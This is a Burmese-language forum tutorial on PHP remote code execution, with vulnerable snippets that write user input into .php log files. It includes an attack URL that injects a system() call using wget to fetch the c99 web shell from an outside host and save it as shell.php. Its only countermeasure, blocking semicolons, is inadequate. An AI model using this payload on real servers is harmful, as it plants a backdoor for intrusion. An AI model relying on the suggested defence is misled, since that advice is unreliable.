Remote Code Execution ဆိုတာ RCE လို႕ အတိုေကာက္ေခၚၾကတဲ့ အေတြ႕ရမ်ားတဲ့ Web Vuln ေတြထဲက တစ္ခုျဖစ္ပါတယ္ ။
ထံုးစံအတုိင္း ဘယ္လိုေတြ ေပါက္လဲ ဘယ္လို ေနရာေတြမွာေပါက္သြားလဲ တစ္ခ်က္ၾကည့္ရေအာင္ ။
How Vulnerability comes?
Code
[color=#00ff00][size=1][font=Verdana,Arial,Tahoma,Calibri,Geneva,sans-serif]<?php[/font] [font=Verdana,Arial,Tahoma,Calibri,Geneva,sans-serif]$code=$_GET['code'];[/font] vuln[font=Verdana,Arial,Tahoma,Calibri,Geneva,sans-serif]($code);[/font] [font=Verdana,Arial,Tahoma,Calibri,Geneva,sans-serif]?>[/font][/size][/color]
Code ထဲက vuln ဆိုတဲ့ Function ဟာ string ကို PHP Code အျဖစ္နဲ႕ ေျပာင္းလဲေပးသြားမွာျဖစ္ျပီး အဲ့ဒါေၾကာင့္ ကၽြန္ေတာ္တုိ႕ဟာ Code ေတြကို Execute လုပ္ခြင့္ရွိမွာ ျဖစ္ပါတယ္
တကယ္ေတာ့ ဒီဟာက သီအိုရီဆန္လြန္းပါတယ္ လက္ေတြ႕မွာျဖစ္တတ္တဲ့ အေၾကာင္းအရာေလးေတြ ၾကည့္ရေအာင္
Type 1 :
Blog တစ္ခုထံုးစံအတုိင္း Comment ေပးတဲ့ေနရာ ရွိမယ္ ။
Comment Form ဆိုတဲ့အတိုင္း Submit Form နဲ႕ Comment.php ကို ခ်ိတ္ထားမယ္ေပါ့ ။ submit.php နဲ႕ comment.php ဆိုပါစို႕
Submit.php ကိုၾကည့္ရေအာင္
submit.php
Code:
[color=#00ff00][font=Times New Roman,serif][size=3]<[/size][/font][font=Times New Roman,serif][size=3]form method="POST" action="">[/size][/font] [font=Times New Roman,serif][size=3]<textarea rows="10" name="comments" cols="60"></textarea> <p><input type="submit" value="Post" name="sub"></p> </form>[/size][/font][/color]
Comment.php ကိုၾကည့္ရေအာင္
comments.php
Code:
<?php
[color=#00ff00][font=Times New Roman,serif][size=3]$comments = $_POST['comments']; $log = fopen('comments.php','a'); fwrite($log,'<br />'.'<br />.'<center>'.'Comments::'.'<br />'.$comments); fclose($log); ?>[/size][/font][/color]
ဒီလိုဆိုရင္ submit form က သြင္းသမွ်ကို Comment.php မွာ သြားျပီး သက္ေရာက္ေနမွာျဖစ္ပါတယ္ ။ ဒါေၾကာင့္ Malicious Code ကို Inject လုပ္လုိက္ရင္ ျဖစ္လာမယ့္ အက်ိဳးဆက္က ????
အခုေျပာသြားတာက Post Method ကေန ေပါက္သြားတဲ့အေၾကာင္း Get Method ဆိုရင္ေရာ...
Type 2 :
Code:
[color=#00ff00][font=Times New Roman,serif][size=3]<?php $msg = $_GET['msg']; $ip = getenv('REMOTE_ADDR'); $error = fopen('errorlog.php','a'); fwrite($error,'<br />'.$msg.'<br />'.$ip.'<br />'); fclose($error); ?>[/size][/font][/color]
ဒီလိုေနရာမွာဆိုရင္ RCE သာမကဘူး XSS လိုဟာမ်ိဳးပါ Inject လုပ္ႏုိင္ပါမယ္ ။
အိုေခ ဒါဆို Attacker ဘယ္လို Attack လုပ္သြားတယ္ဆုိတာကို ဆက္ရေအာင္ ။
How they Attack?
Attacker က ခုနက Type 2 လို Get Method မွာ RCE ေပါက္ေနတာကို ေတြ႕ျပီဆိုပါစို႕ ဒါဆို String တစ္ေၾကာင္း ေခၚျပီး Attack လုပ္ပါမယ္ တျခားေနရာက Shell ကို ေခၚယူခိုင္းလိုက္တာမ်ိဳးေပါ့
www.site.com/vuln.php?hack=1 ဆိုပါစို႕
အဲ့လိုေနရာမွာ
www.site.com/vuln.php?hack=<?system(‘wget http://www.sh3ll.org/c99.txt? -O shell.php’);?>
ေနာက္က <?system(‘wget http://www.sh3ll.org/c99.txt? -O shell.php’);?> ဆိုတာကို နည္းနည္းေျပာဖို႕ လိုမယ္ထင္ပါတယ္
wget ဆိုတာ we get ပါ တျခားေနရာက ယူမယ္ေပါ့ ဘာကို ယူမလ www.sh3ll.org/c99.txt ကို ယူမယ္
-O ဆိုတာ Out put အျဖစ္ထြက္ပါေပါ့ ဘယ္လို ထြက္ရမလဲ c99.txt ဆိုတဲ့ text file ကုိ shell.php ဆုိတဲ့ PHP File အျဖစ္ ထုတ္ပါလုိ႕ ေျပာလိုက္တာပါ .. ဒါဆို ဘာဆက္လုပ္မလ ဆိုတာ သိေလာက္ပါျပီ ;-)
Countermeasures
အကယ္၍မ်ား ; ကို ကန္႕သတ္လိုက္မယ္ဆိုရင္ PHP Code ေတြအလုပ္လုပ္ေတာ့မွာမဟုတ္ပါဘူး
post by negative thunder
copy from MHF